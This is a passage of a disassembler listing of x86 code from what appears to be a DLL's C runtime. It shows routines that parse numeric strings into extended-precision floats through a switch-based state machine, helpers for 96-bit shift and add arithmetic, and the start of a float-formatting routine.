arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_69B86E73
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_69B86EC7
; ---------------------------------------------------------------------------


loc_69B86E73:				; CODE XREF: sub_69B86E55+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_69B86E98
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		mov	[ebp+var_2], 0
		pop	eax
		jmp	short loc_69B86EA2
; ---------------------------------------------------------------------------


loc_69B86E98:				; CODE XREF: sub_69B86E55+32j
		mov	[ebp+var_4], al
		xor	eax, eax
		mov	[ebp+var_3], 0
		inc	eax


loc_69B86EA2:				; CODE XREF: sub_69B86E55+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_69B1ECB1
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_69B86EC3
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B86EC3:				; CODE XREF: sub_69B86E55+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]


loc_69B86EC7:				; CODE XREF: sub_69B86E55+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_69B86E55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86ECC	proc near		; CODE XREF: sub_69B86675+23p
					; sub_69B86675+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_69B86EE2
		cmp	ecx, esi
		jnb	short loc_69B86EE5


loc_69B86EE2:				; CODE XREF: sub_69B86ECC+10j
		xor	eax, eax
		inc	eax


loc_69B86EE5:				; CODE XREF: sub_69B86ECC+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_69B86ECC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86EED	proc near		; CODE XREF: sub_69B86FA6+40p
					; sub_69B86FA6+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_69B86ECC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B86F1F
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_69B86ECC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B86F1F
		inc	dword ptr [esi+8]


loc_69B86F1F:				; CODE XREF: sub_69B86EED+19j
					; sub_69B86EED+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_69B86ECC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_69B86F37
		inc	dword ptr [esi+8]


loc_69B86F37:				; CODE XREF: sub_69B86EED+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_69B86ECC
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_69B86EED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86F4B	proc near		; CODE XREF: sub_69B86FA6+30p
					; sub_69B86FA6+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_69B86F4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86F79	proc near		; CODE XREF: sub_69B87498+1B6p
					; sub_69B87AB4+17Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_69B86F79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86FA6	proc near		; CODE XREF: sub_69B87074+357p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_69B87019
		mov	[ebp+arg_8], eax


loc_69B86FCD:				; CODE XREF: sub_69B86FA6+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_69B86F4B
		push	ebx
		call	sub_69B86F4B
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_69B86EED
		push	ebx
		call	sub_69B86F4B
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_69B86EED
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_69B86FCD
		xor	edx, edx


loc_69B87019:				; CODE XREF: sub_69B86FA6+22j
		cmp	[ebx+8], edx
		jnz	short loc_69B8704D
		mov	edi, [ebx+8]


loc_69B87021:				; CODE XREF: sub_69B86FA6+A2j
		mov	ecx, [ebx+4]
		add	[ebp+var_4], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_69B87021
		mov	[ebx+8], edi


loc_69B8704D:				; CODE XREF: sub_69B86FA6+76j
		mov	esi, 8000h
		jmp	short loc_69B87062
; ---------------------------------------------------------------------------


loc_69B87054:				; CODE XREF: sub_69B86FA6+BFj
		push	ebx
		call	sub_69B86F4B
		add	[ebp+var_4], 0FFFFh
		pop	ecx


loc_69B87062:				; CODE XREF: sub_69B86FA6+ACj
		test	[ebx+8], esi
		jz	short loc_69B87054
		mov	ax, word ptr [ebp+var_4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_69B86FA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B87074	proc near		; CODE XREF: sub_69B86967+17p
					; sub_69B86994+17p

var_54		= byte ptr -54h
var_3D		= byte ptr -3Dh
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_54]
		mov	[ebp+var_4], esi
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], 1
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_69B870AA:				; CODE XREF: sub_69B87074+4Dj
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_69B870C0
		cmp	cl, 9
		jz	short loc_69B870C0
		cmp	cl, 0Ah
		jz	short loc_69B870C0
		cmp	cl, 0Dh
		jnz	short loc_69B870C3


loc_69B870C0:				; CODE XREF: sub_69B87074+3Bj
					; sub_69B87074+40j ...
		inc	edi
		jmp	short loc_69B870AA
; ---------------------------------------------------------------------------


loc_69B870C3:				; CODE XREF: sub_69B87074+4Aj
					; sub_69B87074+AAj ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_69B87342	; default
					; jumptable 69B870CF case 10
		jmp	ds:off_69B87468[eax*4] ; switch	jump


loc_69B870D6:				; DATA XREF: .text:off_69B87468o
		cmp	bl, 31h		; jumptable 69B870CF case 0
		jl	short loc_69B870E7
		cmp	bl, 39h
		jg	short loc_69B870E7


loc_69B870E0:				; CODE XREF: sub_69B87074+C3j
					; sub_69B87074+11Ej
		push	3
		jmp	loc_69B87301
; ---------------------------------------------------------------------------


loc_69B870E7:				; CODE XREF: sub_69B87074+65j
					; sub_69B87074+6Aj
		cmp	bl, byte_69B9AC70
		jnz	short loc_69B870F6


loc_69B870EF:				; CODE XREF: sub_69B87074+12Aj
		push	5
		jmp	loc_69B87338
; ---------------------------------------------------------------------------


loc_69B870F6:				; CODE XREF: sub_69B87074+79j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_69B87120
		dec	eax
		dec	eax
		jz	short loc_69B87114
		sub	eax, 3
		jz	loc_69B871AD
		mov	[ebp+var_4], esi
		dec	edi
		jmp	loc_69B872BF
; ---------------------------------------------------------------------------


loc_69B87114:				; CODE XREF: sub_69B87074+8Cj
		push	2
		pop	eax
		mov	[ebp+var_28], 8000h
		jmp	short loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B87120:				; CODE XREF: sub_69B87074+88j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B87129:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		xor	eax, eax	; jumptable 69B870CF case 1
		inc	eax
		cmp	bl, 31h
		mov	[ebp+var_10], eax
		jl	short loc_69B87139
		cmp	bl, 39h
		jle	short loc_69B870E0


loc_69B87139:				; CODE XREF: sub_69B87074+BEj
		cmp	bl, byte_69B9AC70
		jnz	short loc_69B87148


loc_69B87141:				; CODE XREF: sub_69B87074+177j
		push	4
		jmp	loc_69B87338
; ---------------------------------------------------------------------------


loc_69B87148:				; CODE XREF: sub_69B87074+CBj
		cmp	bl, 2Bh
		jz	short loc_69B87182
		cmp	bl, 2Dh
		jz	short loc_69B87182
		cmp	bl, 30h
		jz	loc_69B870C3


loc_69B8715B:				; CODE XREF: sub_69B87074+1CFj
		cmp	bl, 43h
		jle	loc_69B872BB
		cmp	bl, 45h
		jle	short loc_69B8717B
		cmp	bl, 63h
		jle	loc_69B872BB
		cmp	bl, 65h
		jg	loc_69B872BB


loc_69B8717B:				; CODE XREF: sub_69B87074+F3j
		push	6
		jmp	loc_69B87338
; ---------------------------------------------------------------------------


loc_69B87182:				; CODE XREF: sub_69B87074+D7j
					; sub_69B87074+DCj ...
		dec	edi
		push	0Bh
		jmp	loc_69B87338
; ---------------------------------------------------------------------------


loc_69B8718A:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		cmp	bl, 31h		; jumptable 69B870CF case 2
		jl	short loc_69B87198
		cmp	bl, 39h
		jle	loc_69B870E0


loc_69B87198:				; CODE XREF: sub_69B87074+119j
		cmp	bl, byte_69B9AC70
		jz	loc_69B870EF
		cmp	bl, 30h
		jnz	loc_69B8730D


loc_69B871AD:				; CODE XREF: sub_69B87074+91j
		xor	eax, eax
		inc	eax
		jmp	loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B871B5:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		mov	[ebp+var_10], 1	; jumptable 69B870CF case 3
		jmp	short loc_69B871D5
; ---------------------------------------------------------------------------


loc_69B871BE:				; CODE XREF: sub_69B87074+16Dj
		cmp	[ebp+var_8], 19h
		jnb	short loc_69B871CF
		inc	[ebp+var_8]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		jmp	short loc_69B871D2
; ---------------------------------------------------------------------------


loc_69B871CF:				; CODE XREF: sub_69B87074+14Ej
		inc	[ebp+var_C]


loc_69B871D2:				; CODE XREF: sub_69B87074+159j
		mov	bl, [edi]
		inc	edi


loc_69B871D5:				; CODE XREF: sub_69B87074+148j
		movzx	eax, bl
		push	eax
		call	sub_69B8651F
		test	eax, eax
		pop	ecx
		jnz	short loc_69B871BE
		cmp	bl, byte_69B9AC70
		jnz	short loc_69B87231
		jmp	loc_69B87141
; ---------------------------------------------------------------------------


loc_69B871F0:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		xor	eax, eax	; jumptable 69B870CF case 4
		inc	eax
		cmp	[ebp+var_8], 0
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		jnz	short loc_69B87223
		jmp	short loc_69B87207
; ---------------------------------------------------------------------------


loc_69B87201:				; CODE XREF: sub_69B87074+196j
		dec	[ebp+var_C]
		mov	bl, [edi]
		inc	edi


loc_69B87207:				; CODE XREF: sub_69B87074+18Bj
		cmp	bl, 30h
		jz	short loc_69B87201
		jmp	short loc_69B87223
; ---------------------------------------------------------------------------


loc_69B8720E:				; CODE XREF: sub_69B87074+1BBj
		cmp	[ebp+var_8], 19h
		jnb	short loc_69B87220
		inc	[ebp+var_8]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		dec	[ebp+var_C]


loc_69B87220:				; CODE XREF: sub_69B87074+19Ej
		mov	bl, [edi]
		inc	edi


loc_69B87223:				; CODE XREF: sub_69B87074+189j
					; sub_69B87074+198j
		movzx	eax, bl
		push	eax
		call	sub_69B8651F
		test	eax, eax
		pop	ecx
		jnz	short loc_69B8720E


loc_69B87231:				; CODE XREF: sub_69B87074+175j
		cmp	bl, 2Bh
		jz	loc_69B87182
		cmp	bl, 2Dh
		jz	loc_69B87182
		jmp	loc_69B8715B
; ---------------------------------------------------------------------------


loc_69B87248:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		movzx	eax, bl		; jumptable 69B870CF case 5
		push	eax
		mov	[ebp+var_24], 1
		call	sub_69B8651F
		test	eax, eax
		pop	ecx
		jz	loc_69B8730D
		push	4
		jmp	loc_69B87301
; ---------------------------------------------------------------------------


loc_69B87268:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		cmp	bl, 31h		; jumptable 69B870CF case 6
		lea	ecx, [edi-2]
		mov	[ebp+arg_8], ecx
		jl	short loc_69B8727C
		cmp	bl, 39h
		jle	loc_69B872FF


loc_69B8727C:				; CODE XREF: sub_69B87074+1FDj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	loc_69B87336
		dec	eax
		dec	eax
		jz	loc_69B8732A
		sub	eax, 3
		jnz	loc_69B87350


loc_69B87299:				; CODE XREF: sub_69B87074+297j
		push	8
		jmp	loc_69B87338
; ---------------------------------------------------------------------------


loc_69B872A0:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		mov	[ebp+var_20], 1	; jumptable 69B870CF case 8
		jmp	short loc_69B872AC
; ---------------------------------------------------------------------------


loc_69B872A9:				; CODE XREF: sub_69B87074+23Bj
		mov	bl, [edi]
		inc	edi


loc_69B872AC:				; CODE XREF: sub_69B87074+233j
		cmp	bl, 30h
		jz	short loc_69B872A9
		cmp	bl, 31h
		jl	short loc_69B872BB
		cmp	bl, 39h
		jle	short loc_69B872FF


loc_69B872BB:				; CODE XREF: sub_69B87074+EAj
					; sub_69B87074+F8j ...
		dec	edi


loc_69B872BC:				; CODE XREF: sub_69B87074+29Cj
					; sub_69B87074+2D7j
		mov	[ebp+var_4], esi


loc_69B872BF:				; CODE XREF: sub_69B87074+9Bj
					; sub_69B87074+2E1j ...
		cmp	[ebp+var_10], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_69B8741E
		push	18h
		pop	eax
		cmp	[ebp+var_8], eax
		jbe	short loc_69B872E6
		cmp	[ebp+var_3D], 5
		jl	short loc_69B872DF
		inc	[ebp+var_3D]


loc_69B872DF:				; CODE XREF: sub_69B87074+266j
		dec	esi
		inc	[ebp+var_C]
		mov	[ebp+var_8], eax


loc_69B872E6:				; CODE XREF: sub_69B87074+260j
		cmp	[ebp+var_8], 0
		jbe	loc_69B87445
		jmp	loc_69B873BA
; ---------------------------------------------------------------------------


loc_69B872F5:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		cmp	bl, 31h		; jumptable 69B870CF case 7
		jl	short loc_69B87308
		cmp	bl, 39h
		jg	short loc_69B87308


loc_69B872FF:				; CODE XREF: sub_69B87074+202j
					; sub_69B87074+245j
		push	9


loc_69B87301:				; CODE XREF: sub_69B87074+6Ej
					; sub_69B87074+1EFj
		pop	eax
		dec	edi
		jmp	loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B87308:				; CODE XREF: sub_69B87074+284j
					; sub_69B87074+289j
		cmp	bl, 30h
		jz	short loc_69B87299


loc_69B8730D:				; CODE XREF: sub_69B87074+133j
					; sub_69B87074+1E7j
		mov	edi, [ebp+arg_8]
		jmp	short loc_69B872BC
; ---------------------------------------------------------------------------


loc_69B87312:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		cmp	[ebp+arg_18], 0	; jumptable 69B870CF case 11
		jz	short loc_69B8733E
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+arg_8], ecx
		jz	short loc_69B87336
		dec	eax
		dec	eax
		jnz	short loc_69B87350


loc_69B8732A:				; CODE XREF: sub_69B87074+216j
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B87336:				; CODE XREF: sub_69B87074+20Ej
					; sub_69B87074+2B0j
		push	7


loc_69B87338:				; CODE XREF: sub_69B87074+7Dj
					; sub_69B87074+CFj ...
		pop	eax
		jmp	loc_69B870C3
; ---------------------------------------------------------------------------


loc_69B8733E:				; CODE XREF: sub_69B87074+2A2j
		push	0Ah
		pop	eax
		dec	edi


loc_69B87342:				; CODE XREF: sub_69B87074+55j
					; sub_69B87074+5Bj
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 69B870CF case 10
		jnz	loc_69B870C3
		jmp	loc_69B872BC
; ---------------------------------------------------------------------------


loc_69B87350:				; CODE XREF: sub_69B87074+21Fj
					; sub_69B87074+2B4j
		mov	[ebp+var_4], esi
		mov	edi, ecx
		jmp	loc_69B872BF
; ---------------------------------------------------------------------------


loc_69B8735A:				; CODE XREF: sub_69B87074+5Bj
					; DATA XREF: .text:off_69B87468o
		mov	[ebp+var_4], esi ; jumptable 69B870CF case 9
		mov	[ebp+var_20], 1
		xor	esi, esi
		jmp	short loc_69B8737D
; ---------------------------------------------------------------------------


loc_69B87368:				; CODE XREF: sub_69B87074+315j
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_69B8738D
		mov	bl, [edi]
		inc	edi


loc_69B8737D:				; CODE XREF: sub_69B87074+2F2j
		movzx	eax, bl
		push	eax
		call	sub_69B8651F
		test	eax, eax
		pop	ecx
		jnz	short loc_69B87368
		jmp	short loc_69B87392
; ---------------------------------------------------------------------------


loc_69B8738D:				; CODE XREF: sub_69B87074+304j
		mov	esi, 1451h


loc_69B87392:				; CODE XREF: sub_69B87074+317j
		mov	[ebp+var_1C], esi
		movzx	eax, bl
		jmp	short loc_69B873A0
; ---------------------------------------------------------------------------


loc_69B8739A:				; CODE XREF: sub_69B87074+335j
		mov	al, [edi]
		inc	edi
		movzx	eax, al


loc_69B873A0:				; CODE XREF: sub_69B87074+324j
		push	eax
		call	sub_69B8651F
		test	eax, eax
		pop	ecx
		jnz	short loc_69B8739A
		mov	esi, [ebp+var_4]
		dec	edi
		jmp	loc_69B872BF
; ---------------------------------------------------------------------------


loc_69B873B4:				; CODE XREF: sub_69B87074+34Aj
		dec	[ebp+var_8]
		inc	[ebp+var_C]


loc_69B873BA:				; CODE XREF: sub_69B87074+27Cj
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_69B873B4
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_69B86FA6
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_69B873DF
		neg	eax


loc_69B873DF:				; CODE XREF: sub_69B87074+367j
		add	eax, [ebp+var_C]
		cmp	[ebp+var_20], ecx
		jnz	short loc_69B873EA
		add	eax, [ebp+arg_10]


loc_69B873EA:				; CODE XREF: sub_69B87074+371j
		cmp	[ebp+var_24], ecx
		jnz	short loc_69B873F2
		sub	eax, [ebp+arg_14]


loc_69B873F2:				; CODE XREF: sub_69B87074+379j
		cmp	eax, 1450h
		jg	short loc_69B87427
		cmp	eax, 0FFFFEBB0h
		jl	short loc_69B8743E
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_69B87CD5
		mov	edx, [ebp+var_38]
		mov	ebx, [ebp+var_38+2]
		mov	esi, [ebp+var_32]
		mov	eax, [ebp+var_2E]
		add	esp, 0Ch
		jmp	short loc_69B8744D
; ---------------------------------------------------------------------------


loc_69B8741E:				; CODE XREF: sub_69B87074+254j
		mov	[ebp+var_14], 4
		jmp	short loc_69B87445
; ---------------------------------------------------------------------------


loc_69B87427:				; CODE XREF: sub_69B87074+383j
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_69B8744D
; ---------------------------------------------------------------------------


loc_69B8743E:				; CODE XREF: sub_69B87074+38Aj
		mov	[ebp+var_14], 1


loc_69B87445:				; CODE XREF: sub_69B87074+276j
					; sub_69B87074+3B1j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx


loc_69B8744D:				; CODE XREF: sub_69B87074+3A8j
					; sub_69B87074+3C8j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		pop	esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_69B87074	endp

; ---------------------------------------------------------------------------
off_69B87468	dd offset loc_69B870D6	; DATA XREF: sub_69B87074+5Br
		dd offset loc_69B87129	; jump table for switch	statement
		dd offset loc_69B8718A
		dd offset loc_69B871B5
		dd offset loc_69B871F0
		dd offset loc_69B87248
		dd offset loc_69B87268
		dd offset loc_69B872F5
		dd offset loc_69B872A0
		dd offset loc_69B8735A
		dd offset loc_69B87342
		dd offset loc_69B87312

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B87498	proc near		; CODE XREF: sub_69B86AFA+2Bp

var_2C		= byte ptr -2Ch
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= word ptr -14h
var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_20], 0CCh
		mov	[ebp+var_1F], 0CCh
		mov	[ebp+var_1E], 0CCh
		mov	[ebp+var_1D], 0CCh
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0FBh
		mov	[ebp+var_15], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_69B874FA
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_69B874FE
; ---------------------------------------------------------------------------


loc_69B874FA:				; CODE XREF: sub_69B87498+5Aj
		mov	byte ptr [ebx+2], 20h


loc_69B874FE:				; CODE XREF: sub_69B87498+60j
		test	dx, dx
		mov	edi, [ebp+arg_4]
		jnz	short loc_69B87513
		test	edi, edi
		jnz	short loc_69B87513
		cmp	[ebp+arg_0], edi
		jz	loc_69B87606


loc_69B87513:				; CODE XREF: sub_69B87498+6Cj
					; sub_69B87498+70j
		cmp	dx, si
		jnz	short loc_69B87590
		mov	eax, 80000000h
		cmp	edi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_69B8752C
		cmp	[ebp+arg_0], 0
		jz	short loc_69B8753B


loc_69B8752C:				; CODE XREF: sub_69B87498+8Cj
		test	edi, 40000000h
		jnz	short loc_69B8753B
		push	offset dword_69B87730
		jmp	short loc_69B87581
; ---------------------------------------------------------------------------


loc_69B8753B:				; CODE XREF: sub_69B87498+92j
					; sub_69B87498+9Aj
		test	cx, cx
		jz	short loc_69B87555
		cmp	edi, 0C0000000h
		jnz	short loc_69B87555
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B8757C
		push	offset dword_69B87728
		jmp	short loc_69B87564
; ---------------------------------------------------------------------------


loc_69B87555:				; CODE XREF: sub_69B87498+A6j
					; sub_69B87498+AEj
		cmp	edi, eax
		jnz	short loc_69B8757C
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B8757C
		push	offset dword_69B87720


loc_69B87564:				; CODE XREF: sub_69B87498+BBj
		lea	eax, [ebx+4]
		push	eax
		call	sub_69B227E1
		mov	byte ptr [ebx+3], 5


loc_69B87571:				; CODE XREF: sub_69B87498+F6j
		and	[ebp+var_4], 0
		pop	ecx
		pop	ecx
		jmp	loc_69B876E8
; ---------------------------------------------------------------------------


loc_69B8757C:				; CODE XREF: sub_69B87498+B4j
					; sub_69B87498+BFj ...
		push	offset dword_69B87718


loc_69B87581:				; CODE XREF: sub_69B87498+A1j
		lea	eax, [ebx+4]
		push	eax
		call	sub_69B227E1
		mov	byte ptr [ebx+3], 6
		jmp	short loc_69B87571
; ---------------------------------------------------------------------------


loc_69B87590:				; CODE XREF: sub_69B87498+7Ej
		movzx	eax, dx
		mov	esi, eax
		imul	eax, 4D10h
		and	[ebp+var_14], 0
		mov	ecx, edi
		shr	ecx, 18h
		shr	esi, 8
		lea	ecx, [esi+ecx*2]
		imul	ecx, 4Dh
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_12], eax
		sar	esi, 10h
		movsx	eax, si
		neg	eax
		push	1
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	[ebp+var_A], dx
		mov	[ebp+var_E], edi
		call	sub_69B87CD5
		add	esp, 0Ch
		cmp	[ebp+var_A], 3FFFh
		jb	short loc_69B875F1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		inc	esi
		call	sub_69B87AB4
		pop	ecx
		pop	ecx


loc_69B875F1:				; CODE XREF: sub_69B87498+147j
		test	[ebp+arg_10], 1
		mov	edi, [ebp+arg_C]
		mov	[ebx], si
		jz	short loc_69B8760F
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_69B8760F


loc_69B87606:				; CODE XREF: sub_69B87498+75j
		mov	byte ptr [ebx+4], 30h
		jmp	loc_69B87701
; ---------------------------------------------------------------------------


loc_69B8760F:				; CODE XREF: sub_69B87498+163j
					; sub_69B87498+16Cj
		cmp	edi, 15h
		jle	short loc_69B87617
		push	15h
		pop	edi


loc_69B87617:				; CODE XREF: sub_69B87498+17Aj
